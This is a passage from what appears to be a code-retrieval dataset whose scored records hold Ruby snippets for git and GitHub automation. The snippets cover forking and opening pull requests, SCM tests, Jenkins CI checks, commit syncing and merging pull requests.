"text": "def fork_and_pull(fs_repo, repo_name, results)\n #DONE: commit changed files\n info \"*** Git branching and commiting all changed files\"\n fs_repo.branch('pullcrushed').checkout\n fs_repo.add('.')\n fs_repo.commit('Optimized image files via pullcrusher')\n\n #DONE: fork original repo (via octokit)\n info \"*** Forking the original repo on github\"\n fork = @ok_client.fork(repo_name)\n\n #DONE: add forked repo as a new remote to git repo (or just change default?)\n fs_repo.add_remote('myfork', fork.ssh_url)\n\n #DONE: push new commits to GH remote\n info \"*** Pushing changes to your forked copy of the repo\"\n fs_repo.push( fs_repo.remote('myfork'), 'pullcrushed' )\n\n info \"*** Creating a pull request...\"\n #def create_pull_request(repo, base, head, title, body, options={})\n pr = @ok_client.create_pull_request(\n repo_name,\n \"master\", #BASE\n \"#{@github_username}:pullcrushed\", #HEAD\n \"Optimized image files via pullcrusher\",\n \"Hi there! I've used [pullcrusher](http://github.com/mroth/pullcrusher) to optimize images for this this repository losslessly.\\n\\n\n #{results.filez_optimized} files were optimized for a total savings of #{results.bytes_saved} bytes.\"\n )\n info \"*** Done! Pull request is at #{pr.html_url}\"\n end",
"title": ""
},
{
"docid": "706adf672c179f5d776d0c462da5bb58",
"score": "0.51236814",
"text": "def test_basics\r\n work_dir = RSCM.new_temp_dir(\"basics\")\r\n checkout_dir = \"#{work_dir}/WorkingCopy\"\r\n other_checkout_dir = \"#{work_dir}/OtherWorkingCopy\"\r\n repository_dir = \"#{work_dir}/repository\"\r\n scm = create_scm(repository_dir, \"damagecontrolled\")\r\n scm.default_options = DEFAULT_OPTIONS\r\n scm.checkout_dir = checkout_dir\r\n\r\n other_scm = create_scm(repository_dir, \"damagecontrolled\")\r\n other_scm.default_options = DEFAULT_OPTIONS\r\n other_scm.checkout_dir = other_checkout_dir\r\n\r\n raise \"This scm (#{scm.name}) can't create 'central' repositories.\" unless scm.can_create_central?\r\n\r\n # 1\r\n scm.create_central \r\n @scm = scm\r\n\r\n # 2\r\n import_damagecontrolled(scm, \"#{work_dir}/damagecontrolled\")\r\n \r\n # 3\r\n assert(!scm.uptodate?(nil))\r\n assert(!scm.uptodate?(nil))\r\n \r\n # 4\r\n files = scm.checkout nil\r\n\r\n # 5\r\n assert_equal(4, files.length, files.join(\"\\n\"))\r\n files.sort!\r\n assert_equal(\"build.xml\", files[0])\r\n assert_equal(\"project.xml\", files[1])\r\n assert_equal(\"src/java/com/thoughtworks/damagecontrolled/Thingy.java\", files[2])\r\n assert_equal(\"src/test/com/thoughtworks/damagecontrolled/ThingyTestCase.java\", files[3])\r\n\r\n # 6\r\n initial_revisions = scm.revisions(nil)\r\n assert_equal(\"imported\\nsources\", initial_revisions[0].message)\r\n # Subversion seems to add a revision with message \"Added directories\"\r\n #assert_equal(1, initial_revisions.length)\r\n assert_equal(4, initial_revisions[0].length)\r\n\r\n # 7\r\n assert(scm.uptodate?(initial_revisions.latest.identifier))\r\n\r\n # 8\r\n change_file(scm, \"#{checkout_dir}/build.xml\")\r\n change_file(scm, \"#{checkout_dir}/src/java/com/thoughtworks/damagecontrolled/Thingy.java\")\r\n\r\n assert(!other_scm.uptodate?(initial_revisions.latest.identifier))\r\n other_scm.checkout nil\r\n assert(other_scm.uptodate?(initial_revisions.latest.identifier))\r\n\r\n sleep(1)\r\n scm.commit(\"changed\\nsomething\") \r\n\r\n # 13\r\n revisions = scm.revisions(initial_revisions.latest.identifier)\r\n assert_equal(1, revisions.length, \"Actual revisions:\\n\" + revisions.collect{|cs| cs.to_s}.join(\"\\n\"))\r\n\r\n assert(revisions[0].identifier)\r\n revision = revisions[0]\r\n assert_equal(2, revision.length, \"Actual files:\\n\" + revision.collect{|file| file.path}.join(\"\\n\"))\r\n\r\n assert_equal(\"changed\\nsomething\", revision.message)\r\n\r\n # why is this nil when running as the dcontrol user on codehaus? --jon\r\n #assert_equal(username, revision.developer)\r\n assert(revision.developer)\r\n assert(revision.identifier)\r\n\r\n assert_equal(\"build.xml\", revision[0].path)\r\n assert(revision[0].native_revision_identifier)\r\n assert(revision[0].previous_native_revision_identifier)\r\n assert_equal(\"src/java/com/thoughtworks/damagecontrolled/Thingy.java\", revision[1].path)\r\n assert(revision[1].native_revision_identifier)\r\n assert(revision[1].previous_native_revision_identifier) \r\n\r\n # 14\r\n assert(!other_scm.uptodate?(revisions.latest.identifier))\r\n assert(!other_scm.uptodate?(revisions.latest.identifier))\r\n assert(scm.uptodate?(revisions.latest.identifier))\r\n assert(scm.uptodate?(revisions.latest.identifier))\r\n\r\n # 15\r\n files = other_scm.checkout(nil).sort\r\n assert_equal(2, files.length)\r\n assert_equal(\"build.xml\", files[0])\r\n assert_equal(\"src/java/com/thoughtworks/damagecontrolled/Thingy.java\", files[1])\r\n\r\n # 16\r\n assert(other_scm.uptodate?(nil))\r\n\r\n # 17\r\n add_or_edit_and_commit_file(scm, checkout_dir, \"src/java/com/thoughtworks/damagecontrolled/Hello.txt\", \"Bla bla\")\r\n assert(!other_scm.uptodate?(nil))\r\n revisions = other_scm.revisions(revisions.latest.identifier)\r\n\r\n # 18\r\n assert_equal(1, revisions.length)\r\n assert_equal(1, revisions[0].length)\r\n assert_equal(\"src/java/com/thoughtworks/damagecontrolled/Hello.txt\", revisions[0][0].path)\r\n end",
"title": ""
},
{
"docid": "dff2611efd01ff682aa157002b5ebdb6",
"score": "0.5119842",
"text": "def main\n gitrepo_manager = GitRepoManager.new\n timeMgr = TimeManager.new\n if timeMgr.will_check_for_updates? nil\n config = ConfigManager.new\n if config.enabled\n config.modules.each do |gitmodule|\n if $global_time_update or timeMgr.will_check_for_updates? gitmodule[\"path\"]\n gitrepo_manager.check_for_updates gitmodule[\"path\"], gitmodule[\"branch\"]\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "97cc8f92de21b1b4d4bc88abd527167f",
"score": "0.5103324",
"text": "def test\n @config.for_each_bitbucket_repo do |_bitbucket, repo_info|\n if repo_info[:jenkins_ci_url].nil?\n error \"Repository #{repo_info[:name]} does not have any Jenkins CI URL configured.\"\n else\n master_info_url = \"#{repo_info[:jenkins_ci_url]}/job/master/api/json\"\n Credentials.with_credentials_for(:jenkins_ci, @logger, @logger_stderr, url: master_info_url) do |jenkins_user, jenkins_password|\n # Get the master branch info from the API\n master_info = JSON.parse(URI.parse(master_info_url).open(http_basic_authentication: [jenkins_user, jenkins_password]).read)\n # Get the last build's URL\n last_build_info_url = \"#{master_info['lastBuild']['url']}/api/json\"\n last_build_info = JSON.parse(URI.parse(last_build_info_url).open(http_basic_authentication: [jenkins_user, jenkins_password]).read)\n log_debug \"Build info for #{master_info_url}:\\n#{JSON.pretty_generate(last_build_info)}\"\n error \"Last build for job #{repo_info[:project]}/#{repo_info[:name]} is in status #{last_build_info['result']}: #{master_info['lastBuild']['url']}\" unless SUCCESS_STATUSES.include?(last_build_info['result'])\n rescue\n error \"Error while checking Jenkins CI job for #{repo_info[:project]}/#{repo_info[:name]} from URL #{master_info_url}: #{$ERROR_INFO}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "dad66ed757afe6bccb28aaf4b8dfadef",
"score": "0.5092368",
"text": "def api_update\n ##############################\n ### STEP 1: UPDATE COMMITS ###\n ##############################\n\n # gather commits from GitHub api\n # for new branch, just grab first 100 commits (bleeds into past branches)\n commits_data = Branch.api(auto_paginate: false).\n commits(Branch.repo_path, sha: self.name, per_page: 100)\n unless commits.length.zero?\n # for existing branch, grab up to 500 commits in successive api calls\n # limit of 500 is abitrary, but the madness must stop somewhere if we\n # can't find any existing commits\n call_count = 1\n while commits.where(sha: commits_data.pluck(:sha)).count.zero? &&\n call_count < 5\n commits_data.concat(\n Branch.api(auto_paginate: false).commits(\n Branch.repo_path, sha: self.name, per_page: 100,\n page: call_count + 1\n )\n )\n call_count += 1\n end\n end\n\n # add/update commits to database. Hold on to commits so we can more easily\n # create memberships. Thankfully, these commits should already be ordered\n # (most recent first), so we can use this\n # to generate the new ordering. We also add memberships at this point,\n # (implicit in create_or_update_from_github_hash) but they will be updated\n # by the ordering code below\n commits = commits_data.map do |gh_hash|\n Commit.create_or_update_from_github_hash(github_hash: gh_hash,\n branch: self)\n end\n\n # for new commits, they need their test cases loaded. This is an expensive\n # set of api calls that grows with the number of \"new\" commits.\n commits.select { |c| c.test_case_count == 0 }.each do |c|\n c.api_update_test_cases\n c.save\n end\n\n ############################################\n ### STEP 2: UPDATE MEMBERSHIPS/POSITIONS ###\n ############################################\n\n # get position of \"oldest\" commit in this collection (if there is one)\n earliest_position = (branch_memberships.where.not(commit: commits).\n maximum(:position) || 0) + 1\n\n # create the membership hashes. Reverse the list of ids so that \"old\"\n # commits come first, and thus have smaller positions, which are derived\n # from their position in this reversed array\n membership_hashes = []\n commits.reverse.each_with_index do |commit, i|\n membership_hashes << {\n branch_id: self.id,\n commit_id: commit.id,\n position: earliest_position + i\n }\n end\n\n # dump it all into the database, updating existing membership's positions\n # and creating the rest from scratch. upsert_all is amazing.\n BranchMembership.upsert_all(membership_hashes,\n unique_by: [:commit_id, :branch_id])\n\n # update head to most recent (highest position) commit, and save to the db\n self.head = branch_memberships.where.not(position: nil).\n order(position: :desc).first.commit\n self.save\n end",
"title": ""
},
{
"docid": "9bf841d63a7402084fba89b6d12c7055",
"score": "0.5091763",
"text": "def launch_test_and_setup_status(repo, pr)\n # pending\n @client.create_status(repo, pr.head.sha, 'pending',\n context: @context, description: @description,\n target_url: @target_url)\n # do tests\n pr_test(pr.base.ref, pr.head.sha, repo, pr.head.ref, pr)\n # set status\n @client.create_status(repo, pr.head.sha, @j_status,\n context: @context, description: @description,\n target_url: @target_url)\n end",
"title": ""
},
{
"docid": "dabadca18973419c98b3a5967d6c4355",
"score": "0.5083193",
"text": "def test_pull_into_committed_repo\n initialize_repos\n remote_head = nil\n\n # Create file 1 with committed changes locally\n in_local_repo {\n File.write(@files[0], @local_file_contents[0])\n @@workspace.commit(@files[0])\n }\n\n # Pull from local and create a commit history on the remote for file 1 and 2\n in_remote_repo {\n PushPull.pull(@local_url)\n\n # Modify file 1 and commit the changes\n File.write(@files[0], @remote_file_contents[0])\n @@workspace.commit(@files[0])\n\n # Create file 2 and commit it\n File.write(@files[1], @remote_file_contents[1])\n @@workspace.commit(@files[1])\n\n remote_head = @@repo.get_head()\n }\n\n # Pull into the local repository\n in_local_repo {\n PushPull.pull(@remote_url)\n\n assert_equal(@@repo.get_head(), remote_head,\n 'Head of local repo is not same as head of remote.')\n\n # Ensure that the changes to file 1 were merged\n assert_equal(@remote_file_contents[0], File.read(@files[0]),\n 'File contents were not merged when pulling from remote.')\n\n # Ensure that file 2 was created\n assert_equal(@remote_file_contents[1], File.read(@files[1]),\n 'File contents were not preserved when pulling from remote.')\n }\n end",
"title": ""
},
{
"docid": "6747f8689a024a451f0d14e216db5021",
"score": "0.5081435",
"text": "def fetch\n log.info(log_key) { \"Fetching from `#{source_url}'\" }\n\n create_required_directories\n\n if cloned?\n git_fetch unless same_revision?\n else\n git_clone\n git_checkout\n end\n end",
"title": ""
},
{
"docid": "1c829cb2fc6e1154bef23c3a588b8151",
"score": "0.50605494",
"text": "def setup_worker_data\n @repo_full_name = project.repo_config.full_name\n logger.debug(\"Checking for new commits: #{project.project_name} (#{repo_full_name})\")\n\n # Sorted by newest timestamps first.\n @builds = FastlaneCI::Services.build_service.list_builds(project: project)\n end",
"title": ""
},
{
"docid": "7b4a79b2f0f683c70cc37277baf483d0",
"score": "0.50550014",
"text": "def pr_test(upstream, pr_sha_com, repo, pr_branch)\n git = GitOp.new(@git_dir)\n # get author:\n pr_com = @client.commit(repo, pr_sha_com)\n _author_pr = pr_com.author.login\n # merge PR-branch to upstream branch\n git.merge_pr_totarget(upstream, pr_branch, repo)\n # do valid tests\n run_script\n # del branch\n git.del_pr_branch(upstream, pr_branch)\nend",
"title": ""
},
{
"docid": "9a94fb3a0a856e4df06acc2ea9a92933",
"score": "0.50528514",
"text": "def raise_pr(namespace)\n branch = \"update-rds-module-#{namespace}\"\n message = \"Update RDS module for #{namespace}\"\n execute \"git checkout -b #{branch}\"\n execute \"git add #{tfdir(namespace)}\"\n execute %(git commit -m \"#{message}\")\n execute %(git push origin #{branch})\n execute %(hub pull-request -m \"#{message}\")\nend",
"title": ""
},
{
"docid": "97b5ea9fee816535902208363622939c",
"score": "0.5052552",
"text": "def update_repositories\n sources.each do |source|\n if source.updateable?\n sources_manager.update(source.name, true)\n else\n UI.message \"Skipping `#{source.name}` update because the repository is not an updateable repository.\"\n end\n end\n @specs_updated = true\n end",
"title": ""
},
{
"docid": "fb673676dfde4c3a4f9332348ca03824",
"score": "0.5039055",
"text": "def trigger_module_auto_pull(required_modules, opts = {})\n return if required_modules.empty?\n hide_output = opts[:hide_output]\n\n # options[:force] means this command is triggered from trigger_module_auto_import method bellow\n unless opts[:force]\n update_none = RemoteDependencyUtil.check_for_frozen_modules(required_modules)\n\n if update_none\n print \"All dependent modules are frozen and will not be updated!\\n\" unless hide_output\n print \"Resuming pull ... \" unless hide_output\n return Response::Ok.new()\n end\n end\n\n if opts[:force] || Console.confirmation_prompt(\"Do you want to update in addition to this module its dependent modules from the catalog?\")\n required_modules.uniq.each do |r_module|\n module_name = full_module_name(r_module)\n module_type = r_module['type']\n version = r_module['version']\n full_name = (version && !version.eql?('master')) ? \"#{module_name}(#{version})\" : module_name\n\n # No op for frozen modules\n next if r_module['frozen']\n\n print \"Pulling #{module_type.gsub('_',' ')} content for '#{full_name}' ... \" unless hide_output\n\n new_context_params = DTK::Shell::ContextParams.new\n new_context_params.add_context_to_params(module_type, module_type)\n new_context_params.add_context_name_to_params(module_type, module_type, module_name)\n\n forwarded_opts = { :skip_recursive_pull => true, :ignore_dependency_merge_conflict => true }\n forwarded_opts.merge!(:do_not_raise => true) if opts[:do_not_raise]\n forwarded_opts.merge!(:version => version) if version && !version.eql?('master')\n new_context_params.forward_options(forwarded_opts)\n\n response = ContextRouter.routeTask(module_type, \"pull_dtkn\", new_context_params, @conn)\n\n unless response.ok?\n if opts[:do_not_raise]\n OsUtil.print(\"#{response.error_message}\", :red)\n else\n raise DtkError, response.error_message\n end\n end\n end\n\n print \"Resuming pull ... \" unless opts[:force]\n end\n end",
"title": ""
},
{
"docid": "a4a3dc9dfe25b95748d4f833146b4ddd",
"score": "0.50382346",
"text": "def check_prep(module_name = 'all', test_type = 'all') \n depends :init, :compile\n \n loud_message \"You might need to pass tests-jdk=1.5 if the test is 1.5 compatible and you want L2 to run in process\"\n \n if module_name.downcase == 'all'\n @module_set.each do |mod|\n check_prep(mod.name, test_type)\n end\n else\n if test_type.downcase == 'all'\n %w(unit system).each do |type|\n check_prep(module_name, type)\n end\n else\n mod = @module_set[module_name]\n if mod.has_subtree?(\"tests.#{test_type}\")\n test_set = FixedModuleTypeTestSet.new([module_name], [test_type])\n if test_set.validate(@module_set, @script_results)\n results_dir = FilePath.new(@build_results.build_dir,\n \"externally-run-tests\")\n results_dir = results_dir.ensure_directory\n test_proc = Proc.new { |testrun| testrun.prepare_for_external_run }\n prepare_and_run_block_on_tests(test_set,\n TestRunResults.new(results_dir), test_proc)\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c5a53ac39db6644d917bdaa3e16b1cf",
"score": "0.50365067",
"text": "def git_fetch_and_pull(repo_set_spec)\n compute_repo_paths(repo_set_spec).each { |repo_path|\n cmd = %(cd #{ repo_path } && git remote update && git pull --all)\n Open3.popen3(cmd) do |stdin, stdout, stderr, wait_thr|\n exit_status = wait_thr.value\n if exit_status.success?\n puts \" - Fetched and pulled #{ repo_path }\"\n else\n msg = %(Could not fetch and pull #{ repo_path }:\\n\\n).color(:red)\n puts(msg + stderr.read)\n end\n end\n }\n end",
"title": ""
},
{
"docid": "56d977929b37bb5a5b04a7446c7ed62a",
"score": "0.50342643",
"text": "def run\n test_sanity\n\n @seen_gem_names = []\n @target_id ||= @fc.get_target_id\n\n loop do\n new_gems.each do |spec|\n begin\n run_spec spec\n rescue Gem::RemoteFetcher::FetchError => e\n $stderr.puts \"Failed to download #{spec.full_name}, skipping\"\n $stderr.puts e.message\n next\n end\n end\n break if @once\n sleep @wait_time\n end\n rescue RCRest::CommunicationError, Gem::RemoteFetcher::FetchError,\n Gem::RemoteSourceException => e\n wait = Time.now + 60\n\n $stderr.puts e.message\n $stderr.puts \"Will retry at #{wait}\"\n\n unless $TESTING then\n sleep 60\n retry\n end\n end",
"title": ""
},
{
"docid": "1175fc1f8376e825e2027c839cea9535",
"score": "0.50279474",
"text": "def git_source(*args)\n end",
"title": ""
},
{
"docid": "67f2e636b4ac7d65a385b2e64120007c",
"score": "0.5026307",
"text": "def pull(repo, number, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "e522f01507e09d3b19400eed61200ee5",
"score": "0.5023376",
"text": "def buildTests() \n @runner.build()\n end",
"title": ""
},
{
"docid": "5f91dc4093287846857d50a91b341f4d",
"score": "0.5021278",
"text": "def update_master\n execute_cmd 'git checkout master'\n execute_cmd 'git pull'\nend",
"title": ""
},
{
"docid": "3f791f2055e6d401722c9ffdfe259e38",
"score": "0.50154555",
"text": "def tests\n CircleCi.request(@conf, \"/project/#{username}/#{project}/#{build}/tests\").get\n end",
"title": ""
},
{
"docid": "c8bd379ba00733a081fd7c0e36af3633",
"score": "0.5014829",
"text": "def update_source\n checkout_dir = REPORTS_DIR + RUBY_ADV_DIR\n if Dir.exist?(checkout_dir)\n git = Git.open(checkout_dir)\n git.pull\n else\n Git.clone(RUBY_ADV_GIT, RUBY_ADV_DIR, path: REPORTS_DIR)\n end\n end",
"title": ""
},
{
"docid": "14b0a993a3824b99b3fe52ceca488a17",
"score": "0.501068",
"text": "def setup\n setup_group_fixture_repos\n end",
"title": ""
},
{
"docid": "9340ee8670cc560032dd54543385c2a6",
"score": "0.5007739",
"text": "def up\n each_repo_and_target do |git_repo, target|\n if target.exist?\n pull_repo(git_repo, target)\n else\n clone_repo(git_repo, target)\n end\n end\n end",
"title": ""
},
{
"docid": "b6d861a08ddd4edd94f09bc021977f42",
"score": "0.4998598",
"text": "def pull_comments(repo, number, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "3d9a91bf124e11e78e812fa7b1f8b43a",
"score": "0.49955764",
"text": "def update_specs_repo\n repo = File.join($active_folder, $cocoadocs_specs_name)\n unless File.exists? repo\n vputs \"Creating Specs Repo for #{$specs_repo}\"\n unless repo.include? \"://\"\n command \"git clone git://github.com/#{$specs_repo}.git \\\"#{repo}\\\"\"\n else\n command \"git clone \\\"#{$specs_repo}\\\" \\\"#{repo}\\\"\"\n end\n else\n if $fetch_specs\n vputs \"Updating Specs Repo\"\n run_git_command_in_specs \"pull origin master\"\n `pod repo update`\n end\n end\n end",
"title": ""
},
{
"docid": "4403567b07a13cd2cec60c994a36073b",
"score": "0.49922052",
"text": "def setup name\n clone_repo name\n bootstrap name\nend",
"title": ""
},
{
"docid": "ef94708cf143f0a1e5f3a4435343cb55",
"score": "0.49919012",
"text": "def submit_tests(req, repo_to_pull_request, base_repo, branch, settings)\n submitted_tests = submitted_tests_for_branch(branch)\n unless settings['allow_multiple']\n if submitted_tests[settings['name']] || JenkinsAPI.is_previous_build_running?(branch, settings)\n submitted_tests[settings['name']] = true\n $stderr.puts \"Waiting for existing build to finish\"\n return\n end\n end\n \n # If the project is stable, submit the tests\n build_url = JenkinsAPI.submit_jenkins_job(repo_to_pull_request, branch, settings)\n\n running_desc = \"Running build\"\n\n # Update the status to reflect the new tests running\n add_status(req['head']['sha'], base_repo, 'pending', build_url, running_desc)\n\n repo_to_pull_request.each do |repo, pull_request|\n if repo != base_repo\n add_status(pull_request['head']['sha'], repo, 'pending', build_url, running_desc)\n end\n end\n\n submitted_tests[settings['name']] = true unless settings['allow_multiple']\n end",
"title": ""
},
{
"docid": "ed507a41b2891480d25c2d514d463dee",
"score": "0.4985714",
"text": "def pull_files(repo, number, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "e78fd4f7c21fd4fc04a87d532e3f1711",
"score": "0.4978627",
"text": "def perform()\n user = User.find(user_id)\n selfRepo = Repository.find(repo_id)\n github = Octokit::Client.new access_token: user.oauth_token\n remote_repo = github.repo selfRepo.full_name\n if remote_repo\n #the request fails if the repo is empty so is request by try catch block\n name_repo = remote_repo.full_name\n begin\n commits = github.commits name_repo\n rescue\n commits = nil\n end\n\n if commits\n new_commits = []\n commits.each do |c|\n cTemp = github.commit name_repo, c.sha\n commit = Commit.new\n #if Author not exists in that repository\n creator = Author.where(username: cTemp.commit.author.email.to_s)\n if !creator.any?\n author = Author.new\n author.username = cTemp.commit.author.email.to_s\n author.name = cTemp.commit.author.name.to_s\n author.repositories << selfRepo\n author.save\n else\n author = creator.first\n if !author.repositories.where(id: selfRepo.id).any?\n author.repositories << selfRepo\n end\n author.save\n end\n commit.github_sha = c.sha\n commit.message = cTemp.commit.message.to_s\n commit.additions = cTemp.stats.additions.to_i\n commit.deletions = cTemp.stats.deletions.to_i\n commit.files_changed = cTemp.files.count.to_i\n commit.created = cTemp.commit.author.date\n commit.author_username = Author.where(username: cTemp.commit.author.email.to_s).first.username\n commit.repository = selfRepo\n new_commits << commit\n end\n new_commits.each(&:save)\n end\n\n else\n name_repo = \"nil\"\n end\n end",
"title": ""
},
{
"docid": "833d127f8f2c6ddc7928475a0430bcad",
"score": "0.49729747",
"text": "def fetch_gemspec_content_from_git!\n if md = source[:git].match(/git:\\/\\/github\\.com:(?<repo>.*)/)\n source[:github] = md[:repo]\n source.delete :git\n fetch_gemspec_content_from_github!\n end\n end",
"title": ""
},
{
"docid": "a8037249c794a9e2f1e1b6eb1c991c27",
"score": "0.49679762",
"text": "def testProcessesReach\n setRepository('Processes') do |iRepoDir|\n runFSCMS(['Build', '--',\n '--target', 'TestType/TestID/0.1/TestDeliverableRoot',\n '--target', 'TestType/TestID/0.1/TestDeliverableType',\n '--target', 'TestType/TestID/0.1/TestDeliverableObject',\n '--target', 'TestType/TestID/0.1/TestDeliverableVersionedObject',\n '--target', 'TestType/TestID/0.1/TestDeliverableDeliverable',\n ])\n [\n 'Root',\n 'Type',\n 'Object',\n 'VersionedObject',\n 'Deliverable'\n ].each do |iLevel|\n lBuiltFileName = \"#{iRepoDir}/TestType/TestID/0.1/Deliverables/TestDeliverable#{iLevel}/BuiltFile\"\n assert(File.exists?(lBuiltFileName))\n File.open(lBuiltFileName, 'r') do |iFile|\n assert_equal( [\n $FSCMSTest_RepositoryToolsDir,\n \"#{iLevel}Process\"\n ], iFile.read.split(\"\\n\"))\n end\n end\n end\n end",
"title": ""
},
{
"docid": "11b97fe970be3e89020e15cee6dedb3d",
"score": "0.49652857",
"text": "def prepare\n\n build_scm.checkout_source\n\n version.bump_build_version( build_scm )\n\n release = _get_release_number\n snaphost = _get_snapshot_number\n build_scm.tag_build( release, snaphost )\n\n end",
"title": ""
},
{
"docid": "24a29ae097c3fa5c9e2d71159401d597",
"score": "0.495804",
"text": "def git_fetch\n fetch_cmd = \"fetch #{source_url} #{described_version}\"\n fetch_cmd << \" --recurse-submodules=on-demand\" if clone_submodules?\n retry_block(\"git fetch\", [CommandTimeout, CommandFailed]) do\n git(fetch_cmd)\n end\n end",
"title": ""
},
{
"docid": "dfc6974b3cfd432bcbb79aee7cea9d64",
"score": "0.49386254",
"text": "def prepare_tests\n @groups = read_groups\n @blocks = organize_blocks\n @tests = organize_tests\n eval(@src, TOPLEVEL_BINDING, @file_name) if @mode == :ruby\n end",
"title": ""
},
{
"docid": "f067d92f69353a2c87d10696b4f0364b",
"score": "0.49382958",
"text": "def run\n\n # Identify method entry\n debug_print \"#{ self.class } : #{ __method__ }\\n\"\n\n # check_conf should create if no conf found, exit entirely if can't do either\n exit if check_conf == false\n read_conf\n\n\n # [review] - Theres gotta be a magic ruby way to trim this down\n unless @github_api.empty? && @github_repo.empty?\n Remote::GitHub.get_issues(self)\n end\n\n unless @bitbucket_api.empty? && @bitbucket_repo.empty?\n Remote::Bitbucket.get_issues(self)\n end\n\n unless @gitlab_api.empty? && @gitlab_repo.empty?\n Remote::GitLab.get_issues(self)\n end\n\n unless @asana_api.empty? && @asana_project.empty? && @asana_workspace.empty?\n Remote::Asana.get_issues(self)\n end\n\n end",
"title": ""
},
{
"docid": "1e3cb1c7d36512c696338031770d9c35",
"score": "0.49327022",
"text": "def pull_requests(repo_name)\n org_name = org_name_from(repo_name)\n\n unless @block\n if @org_name == org_name\n print '-'\n else\n puts ''\n print \"#{org_name} -\"\n @org_name = org_name\n end\n end\n\n issues = @client.issues(repo_name, creator: @login, state: 'open').\n select { |issue| issue.pull_request }\n issues.concat @client.issues(repo_name, creator: @login, state: 'closed').\n select { |issue| issue.pull_request }\n\n @block.call(repo_name, issues) if @block\n\n issues\n rescue Octokit::ClientError\n rescue => e\n puts e\n end",
"title": ""
},
{
"docid": "ec7c8f5c0fade7c0ae11883202c73632",
"score": "0.4928598",
"text": "def update_repositories\n sources.each do |source|\n if SourcesManager.git_repo?(source.repo)\n SourcesManager.update(source.name)\n else\n UI.message \"Skipping `#{source.name}` update because the repository is not a git source repository.\"\n end\n end\n end",
"title": ""
},
{
"docid": "14191dcfb8e68819ee4b05cd5c5b250e",
"score": "0.4926716",
"text": "def each_testable_pull_request(&block)\n end",
"title": ""
},
{
"docid": "ab884f13434ea84e3a49d4b50181d7b1",
"score": "0.49259743",
"text": "def merge(number)\n pull_request = Github.get(\"repos/#{REPO}/pulls/#{number}\")\n issue = Github.get(\"repos/#{REPO}/issues/#{number}\")\n\n raise color(\"Pull request not found\", :red) if !pull_request['state']\n raise color(\"Pull request already closed\", :red) if pull_request['state'] == \"closed\"\n\n head = pull_request[\"head\"]\n base = pull_request[\"base\"]\n\n # Verify we're merging something into master\n raise color(\"Not merging into master\", :red) unless base['ref'] == \"master\"\n\n puts \"Merging \" + color(head['ref'] + \": \" + head['sha'], :green)\n puts \" into \" + color(base['ref'] + \": \" + base['sha'], :green)\n\n with_temporary_branch(base) do |tmp|\n is_fork = head['repo']['fork']\n\n if is_fork\n remote = head['repo']['git_url']\n ref = head['ref']\n Git.run(\"pull --squash #{remote} #{ref}\")\n else\n puts \"Merging head to temporary branch\"\n Git.run(\"merge --squash #{head['sha']}\")\n end\n\n commit_msg = merge_commit_msg(pull_request, issue)\n\n # Use the correct author\n user_login = pull_request['user']['login']\n user_obj = Github.get(\"users/#{user_login}\")\n user_name = user_obj['name']\n user_name = user_login if user_name.nil? || user_name.empty?\n user_email = user_obj['email']\n user_email = user_login if user_email.nil? || user_email.empty?\n\n puts \"Committing\"\n Git.commit(\"--author=\\\"#{user_name} <#{user_email}>\\\" -m #{Shellwords.escape(commit_msg)} -e\")\n\n puts \"Merging temporary branch to master\"\n Git.run(\"checkout master\")\n Git.run(\"merge #{tmp}\")\n\n puts \"Pushing to origin\"\n Git.run(\"push origin master\")\n\n if !is_fork\n puts \"Deleting local and remote branches\"\n Git.run(\"push origin :#{head['ref']}\")\n Git.run(\"branch -D #{head['ref']}\")\n end\n end\n end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.4925836",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "b9ecdc999dc1e54eeba7b0f3d2f72314",
"score": "0.49246716",
"text": "def setup\n @source = Source.create({identifier: \"jumpstartlab\", root_url: \"http://jumpstartlab.com\"})\n end",
"title": ""
},
{
"docid": "03f919d3196f0ae11631af93b96f1301",
"score": "0.4920844",
"text": "def test_source_browser_caches_results_of_next_revisions\n setup_repos('one_add', :use_cached_source_browser_files => false)\n @repos.next_revisions(nil, 100)\n cache_files = Dir[\"#{@source_browser.cache_path}/**/*.yml\"].map do |cache_file|\n cache_file.split(\"#{@source_browser.cache_path}/\").last\n end.sort\n assert_equal ['2/0/0/source_browser_info.yml', '2/1/1/source_browser_info.yml'], cache_files\n end",
"title": ""
},
{
"docid": "f07aa9f01059238786887dbf8e1c3884",
"score": "0.49195045",
"text": "def test_build_skip_ci\n projects = []\n argv = %w[-r target/repositories/pmd -b master -p pmd_releases/6.1.0\n -c config/design.xml -l test/resources/pmd_report_builder/project-test.xml]\n options = PmdTester::Options.new(argv)\n\n FileUtils.mkdir_p 'target/repositories/pmd/pmd-dist/target'\n FileUtils.touch \"target/repositories/pmd/pmd-dist/target/pmd-bin-#{@pmd_version}.zip\"\n\n record_expectations(sha1_head: 'sha1abc', sha1_base: 'sha1abc', zip_file_exists: false)\n PmdTester::Cmd.stubs(:execute_successfully).with(\"unzip -qo pmd-dist/target/pmd-bin-#{@pmd_version}.zip\" \\\n ' -d pmd-dist/target/exploded').once\n PmdTester::Cmd.stubs(:execute_successfully).with(\"mv pmd-dist/target/exploded/pmd-bin-#{@pmd_version}\" \\\n \" #{Dir.getwd}/target/pmd-bin-#{@pmd_version}-master-sha1abc\").once\n record_expectations_after_build\n\n PmdTester::PmdReportBuilder\n .new(projects, options, options.base_config, options.base_branch)\n .build\n end",
"title": ""
},
{
"docid": "209e8d505d83172f476e5482948bd532",
"score": "0.49188548",
